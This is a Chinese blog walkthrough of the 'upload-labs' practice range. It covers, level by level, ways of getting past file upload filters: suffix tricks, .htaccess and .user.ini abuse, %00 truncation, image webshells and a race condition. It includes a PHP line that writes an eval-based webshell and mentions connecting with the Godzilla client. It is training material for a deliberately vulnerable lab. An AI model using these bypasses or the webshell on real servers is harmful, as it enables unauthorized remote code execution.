文件上传漏洞靶场

第一关

编写一句话木马,后缀修改为.jpg

上传时抓包

在包中修改后缀为.php

打开图片

成功上传

第二关

上传写好的一句话木马,后缀为.jpg

抓包修改后缀为.php

打开图片

第三关

上传.php的一句话木马文件

上传不成功,尝试上传.jpg文件

抓包修改后缀

提示上传不正确

经过检测,过滤是黑名单过滤,且只禁止了以下几种后缀名.所以,此时考虑使用大小写绕过,因为windows系统的特性,后缀名不区分大小.但经过检测,大小写无法绕过,所以猜测可能把所有后缀名进行了小写处理.经过多次检测后,修改配置文件进行绕过.重启apache.

修改文件后缀为.phtml

上传成功

第四关

查看提示,发现好多后缀都被ban了

尝试使用Apache的配置文件.htaccess来上传文件

先上传.htaccess文件

接着上传.php文件 

打开图片,上传成功 

使用哥斯拉连接,连接成功

第五关

查看提示,又ban了一大堆,.htaccess也ban了

尝试使用.user.ini来上传文件

先上传.user.ini

接着上传.jpg文件

访问图片,发现报错

访问upload目录下的readme.php文件,成功

第六关

查看源码,发现ban掉了.pHp,.pHp5,没有ban掉.phP

编写测试脚本,命名为1.phP

上传测试

成功

第七关

查看源码,发现没有过滤后缀后的空格

抓包,在.php后加空格

上传完成,访问图片

完成

第八关

查看源码过滤规则,发现没有过滤后缀后的点

抓包在后缀后加点

后缀改成.php.

放包访问图片,成功

第九关

查看过滤规则,没有过滤数据流

抓包,在后缀后加::$DATA

上传成功后,访问图片

上传完成,在查看图片时需要删掉后缀中的::$DATA

第十关

查看过滤规则,只是删除一个末尾的点,可以写两个点,中间用空格隔开

上传抓包

修改后缀为.php. .

放包上传完成,访问图片

完成

第十一关

这一关黑名单,使用str_ireplace()函数寻找文件名中存在的黑名单字符串,将它替换成空(即将它删掉),可以使用双写绕过黑名单

上传成功

哥斯拉连接验证

第十二关

查看过滤规则

上传抓包,修改后缀为.jpg,在表头目录处写8.php,意思是将图片写入.php文件中执行,使用%00截断

放包,上传完成,访问图片

第十三关

查看过滤规则,和上一题差不多

抓包时发现地址在下边,一样的套路,不过隔断需要使用空格,

将%00进行url编码

将空格修改成20

访问图片时提示未找到

将url中,10.php后的内容全部删除,然后访问

第十四关

本关使用图片马,需要将脚本夹在图片当中

准备一张.jpg的图片和一个.php的代码

在当前文件夹中启动终端,输入copy命令

copy 图片名/b+代码文件名/a 合成后的文件名

copy 11.jpg/b+1.php/a shell.jpg

点击下图的黄字

复制图片的地址

在黄字后输入?file=图片地址,访问

第十五关

第十五关具体步骤同十四关一样

第十七关

上传图片马失败,发现本关会删掉图片内多余的内容,图片马没有用,只能使用反二次渲染的图片

使用反向二次渲染的图片,进行上传

之后的流程和十四关类似

第十八关

本关查看源码,发现文件上传后会在临时目录下,检测出不符合规则直接删除,但是上传和删除之间有一点点的间隔,我们可以在这个间隔中搞点事情,例如将上传的.php文件修改成可以写一句话木马的脚本,只要在间隔中打开文件,它就会生成一个木马文件,系统只会判断上传的文件,不会判断生成出的文件

生成一句话木马的文件如下

上传时抓包,在攻击器上开始攻击

攻击的同时也需要访问这个文件,它才会生成

最后生成成功,访问

第十九关

这里有一个细节,由于可能是这个靶场的作者的某种原因可能有误,上传的图片路径不是放在upload文件夹下,所以我们要进去修改一下第19关的代码文件

改成这样就好了

从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。

这么看来的话,php是不能上传了,只能上传图片马了,而且需要在图片马没有被重命名之前访问它。要让图片马能够执行还要配合其他漏洞,比如文件包含,apache解析漏洞等。

这里还是将前一关的代码插入图片作出图片马。然后通过文件包含去访问该图片马。

<?php fputs(fopen('webshell.php','w'),'<?php @eval($_POST["cmd"])?>');?>

生成图片马

建议BP的线程能设高一点,效果可能会更好

第二十关

没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()还有这么一个特性,会忽略掉文件末尾的 /.

准备PHP一句话木马,并把后缀名改为PNG再上传

使用哥斯拉测试连接

  • 13
    点赞
  • 30
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值